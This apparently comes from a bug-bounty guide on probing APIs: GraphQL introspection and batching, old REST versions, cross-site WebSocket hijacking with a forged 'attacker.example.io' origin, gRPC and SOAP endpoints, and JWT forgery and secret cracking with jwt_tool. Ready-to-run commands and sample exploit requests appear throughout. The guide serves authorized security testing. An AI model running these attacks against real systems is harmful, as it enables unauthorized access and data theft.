Skip to content
TECHNIQUE 05/13OP ENDPOINT

API and service-specific recon

7 min readRecon Atlas

APIs carry more surface than the web UI, because the UI only uses part of them. Your JS analysis and content discovery from the recon phases already found the endpoints. This part tests them by protocol.

Signaljs/endpoints.txt, urls/api.txt
NoiseLight active
Severitymedium to critical
ConfirmA query reaches data or a mutation the UI never exposes, run as a user who should not have it.

A single GraphQL endpoint (/graphql, /api/graphql, /query) can expose the whole data model. First fingerprint the engine, then map the schema.

Terminal window
# Fingerprint the GraphQL engine (clone dolevf/graphw00f first)
python3 main.py -f -d -t https://example.com/graphql
Terminal window
# Introspection: pull the whole schema if it is enabled
curl -s https://example.com/graphql -H 'Content-Type: application/json' \
-d '{"query":"{__schema{types{name fields{name}}}}"}' | jq '.data.__schema.types[].name' | head

If introspection is off, field suggestions often still leak names: send a slightly wrong field and the server replies “did you mean …”. Clairvoyance (recon phase 11) rebuilds a schema from those hints. Inside Burp, the InQL extension does the same and gives you a point-and-click query builder for the recovered schema. Load the result into GraphQL Voyager to see it as a graph and spot the interesting types.

Once you can read the schema, the wins are:

  • Forgotten mutations. A deleteUser, setRole or refundOrder mutation that the UI never calls but the resolver still serves. Call it as a low-privilege user.
  • Access control per field. Object-level auth is often missing on nested fields. You cannot read user(id:2) directly, but order(id:5){ customer { email } } leaks it.
  • Batching to bypass rate limits. Send an array of queries, or aliased duplicate mutations. Use it to brute-force, or to redeem something many times in one request.

A nested read that should have stopped looks like this. The caller is a low-privilege token. The resolver still returned another organization’s members and billing.

POST /graphql HTTP/1.1
Host: example.com
Content-Type: application/json
Authorization: Bearer test_low_priv_token
{"query":"{ organization(id: 42) { name members { email role isOwner } billing { currentPlan invoiceEmail } } }"}
HTTP/1.1 200 OK
Content-Type: application/json
{"data":{"organization":{"name":"Acme Partner","members":[{"email":"admin@example.com","role":"admin","isOwner":true}],"billing":{"currentPlan":"Enterprise Annual","invoiceEmail":"accounting@example.com"}}}}

The query returned admin@example.com and invoiceEmail for organization 42. That is a field-level auth miss on this query. It does not mean deleteUser or a billing mutation skips its own check.

Terminal window
# Aliased batching: many attempts in one request can skip per-request rate limits
curl -s https://example.com/graphql -H 'Content-Type: application/json' \
-d '{"query":"{a:checkCoupon(code:\"A\"){ok} b:checkCoupon(code:\"B\"){ok}}"}'

For recon-to-first-signal, confirm that one forgotten mutation or nested read answers as a user who should not have it, then stop. Schema extraction, alias and batching bypasses and mutation IDORs are covered in the GraphQL testing chapter of Bug Hunting for Beginners.

Signaljs/endpoints.txt, content/findings.md
NoiseLight active
Severitymedium to critical
ConfirmAn undocumented or old-version endpoint serves data or an action the current API protects.

JavaScript holds REST routes the docs never mention. From the recon js/endpoints.txt, look for version prefixes and internal namespaces.

Terminal window
# Version and internal prefixes in the discovered endpoints
grep -Eo '/(api/)?(v[0-9]+|internal|private|beta|legacy)/[a-z0-9/_-]+' js/endpoints.txt urls/api.txt | sort -u

The highest-value REST finding is an old API version left enabled. When the app moved from /api/v1/ to /api/v3/, v1 often still answers, with the old, weaker auth checks. Test the same object through every version you find. An action blocked on v3 that succeeds on v1 is a real bug.

GET /api/v1/users/402/export HTTP/1.1
Host: api.example.com
Authorization: Bearer test_unauthorized_token
HTTP/1.1 200 OK
Content-Type: application/json
{"userId":402,"fullName":"Jane Doe","phone":"+1-555-0199","ssnLast4":"4819","homeAddress":"123 Market St"}

/api/v1/users/402/export returned another user’s phone and address to a token that does not own user 402. The record is about v1. It does not say /api/v3/ has the same hole.

This is broken object level authorization (BOLA), the API name for IDOR. Take the first confirmed read to the IDOR Hunting methodology for identifier formats and the multi-account diff.

Signaljs/files/, http/httpx.json
NoiseLight active
Severitymedium to high
ConfirmA cross-origin page opens the WebSocket and receives authenticated data (CSWSH), or a message-level IDOR returns another user's data.

Find WebSocket endpoints in the JS: new WebSocket(, wss://, socket.io init. Then test whether the handshake validates Origin. If it does not and the session rides on a cookie, any site can open the socket as the victim. That is cross-site WebSocket hijacking.

Terminal window
# Does the handshake accept a forged Origin? (needs websocat)
websocat -H 'Origin: https://attacker.example.io' wss://example.com/ws

A handshake that accepts the forged origin and then sends private history is the bug.

GET /ws/chat HTTP/1.1
Host: example.com
Upgrade: websocket
Connection: Upgrade
Origin: https://attacker.example.io
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Cookie: session_id=valid_user_session
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
{"type":"HISTORY","channel":"private_user_402","messages":["Secret account data"]}

The server returned 101 for Origin: https://attacker.example.io and then pushed private_user_402. That depends on the cookie being enough. If the first frame must carry a token the page never stores in a cookie, the origin miss does not open the channel.

Message-level bugs are the other half: once connected, the frames carry the same IDOR and injection surface as HTTP. The dedicated WebSocket guide covers this class in full.

Signaljs/files/, http/httpx.json
NoiseLight active
SeverityMedium
ConfirmA gRPC-Web or SSE endpoint serves data or an action without the checks the main API enforces.

gRPC-Web shows up as application/grpc-web content types and /grpc paths, often with a .proto-derived service name in the JS. When the server has reflection on, grpcurl lists its services and methods and calls them. That turns an opaque binary endpoint into something you can test like REST.

Terminal window
# List services, then describe one, when gRPC reflection is enabled
grpcurl example.com:443 list
grpcurl example.com:443 describe example.v1.AccountService
Terminal window
# Call a method as a low-privilege identity and read the response
grpcurl -H "authorization: Bearer $TOKEN" -d '{"user_id":402}' example.com:443 example.v1.AccountService/GetUser

With reflection off, extract the .proto or the service descriptors from the JS bundle and pass them with -import-path and -proto. The Burp gRPC-Web extensions decode the frames so you can replay them in Repeater.

Server-sent events appear as text/event-stream responses and new EventSource( in the JS. They are easy to overlook because normal proxies render them awkwardly. Admin dashboards sometimes stream over SSE with weaker auth than the REST endpoints beside them. An SSE stream of events is worth checking for access control.

GET /api/v2/stream/audit-events HTTP/1.1
Host: api.example.com
Accept: text/event-stream
Authorization: Bearer test_low_priv_token
HTTP/1.1 200 OK
Content-Type: text/event-stream
data: {"timestamp":"2026-11-14T00:20:00Z","actor":"superadmin","action":"ROLE_ASSIGN","target":"user_912"}
data: {"timestamp":"2026-11-14T00:20:05Z","actor":"billing_service","action":"PAYMENT_PROCESSED","amount":1200.00}

A low-privilege bearer token received ROLE_ASSIGN events for user_912. The stream is readable. The record does not show that token can write audit events or change roles.

Signalurls/clean.txt, content/findings.md, ?wsdl query strings
NoiseLight active
Severitymedium to critical
ConfirmA WSDL-described operation serves data or an action without the checks the modern API enforces.

Legacy SOAP endpoints linger behind newer REST APIs, and they describe themselves. A ?wsdl query string, or paths like /services/, .asmx and .svc, usually return a WSDL document that lists every operation, its parameters and their types. That is a free map of an interface the UI no longer uses.

Terminal window
# Fetch the WSDL and list the operations it exposes
curl -s "https://example.com/services/AccountService.asmx?wsdl" | grep -Eo '<(wsdl:)?operation name="[^"]+"'

Import the WSDL into SoapUI, or into Burp with the Wsdler extension, to generate request skeletons. The bugs are the familiar ones reached through an old door. XXE hits the XML parser (the OOB probe is in injection). SQLi hits the operation parameters. Auth is often missing on operations the new front end never calls.

When recon hands you a spec or a collection, load it into the proxy instead of hand-crafting requests. It populates the site map with every documented route, so Repeater, Intruder and the scanner all have the full surface.

  • OpenAPI and Swagger. Feed the openapi.json or swagger.json you found in phase 14 to Burp’s OpenAPI parser extension. You can also convert it to a Postman collection. Every path, method and parameter appears in the site map ready to test.
  • Postman collections. A public workspace export (recon phase 14) imports straight into Postman, and into Burp with an extension. Watch the collection’s environment and variables: tokens and internal base URLs often ride along.
  • API keys in headers. Many APIs authenticate with a header such as X-API-Key, apikey or api-token rather than a bearer token. Set it once as a session header in the proxy so it is attached to replays. Then test the usual access control. Does another key reach your objects? Does a missing key still return data? Is the key scoped to one tenant?
Terminal window
# Confirm a header-key API rejects a missing key before you trust its auth
curl -s -o /dev/null -w "%{http_code}\n" https://api.example.com/v2/account # no key
curl -s -o /dev/null -w "%{http_code}\n" -H "X-API-Key: $KEY" https://api.example.com/v2/account
Signaljs/files/, http/httpx.json
NoiseLight active
Severityhigh to critical
ConfirmA token you forged or altered is accepted as another user, or a weak secret is cracked and used to mint a valid token for your own test account.

If the app uses JWTs (a eyJ... string in a cookie or Authorization header), test the classic flaws with jwt_tool.

Terminal window
# Run the full playbook of JWT checks against a captured token
python3 jwt_tool.py -t https://example.com/api/me -rc 'session=eyJ...' -M pb

A burst of bad signatures can blacklist the token or lock the test account. Try alg: none and a clearly old exp by hand before you run the playbook.

Flaw jwt_tool Why it works
alg: none -X a Server trusts an unsigned token
Weak HMAC secret crack mode with a wordlist (check the README for the exact flag) A guessable secret lets you sign any token
kid or JWKS injection -X i -I -pc name -pv admin Server fetches a key you control, or reads a file as the key
Expired token accepted resend an old token Server never checks exp
Algorithm confusion RS256 to HS256 using the public key as the HMAC secret Server verifies with the wrong algorithm
Terminal window
# Crack a weak HMAC secret against a wordlist (verify the flag with jwt_tool -h)
python3 jwt_tool.py 'eyJ...' -C -d wordlists/jwt-secrets.txt

An accepted unsigned token looks like this. The signature segment is empty.

GET /api/v2/admin/status HTTP/1.1
Host: api.example.com
Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbl91c2VyIiwicm9sZSI6InN1cGVyYWRtaW4iLCJleHAiOjE4OTM0NTYwMDB9.
HTTP/1.1 200 OK
Content-Type: application/json
{"status":"ONLINE","clusterNodes":12,"activeUsers":1420}

The header is {"alg":"none","typ":"JWT"} and the server still returned cluster metrics. Acceptance on /api/v2/admin/status does not mean every service in front of the same issuer skips the signature. Some check it locally and some hand the token to an identity provider.

If you crack the secret or forge a valid token, mint a token for your own test account and show it is accepted. Do not forge another real user’s token to read their data.

Next, find the origin server behind a WAF or CDN in origin and WAF bypass.

Connections4 backlinks · 7 outgoing · 3 cross-guideFull graph →
Open local graph around this page
Open full graph →
Click a node to open · Drag to reposition · Scroll to zoom

Recon AtlasFor authorized testing only. Your scope is the map edge.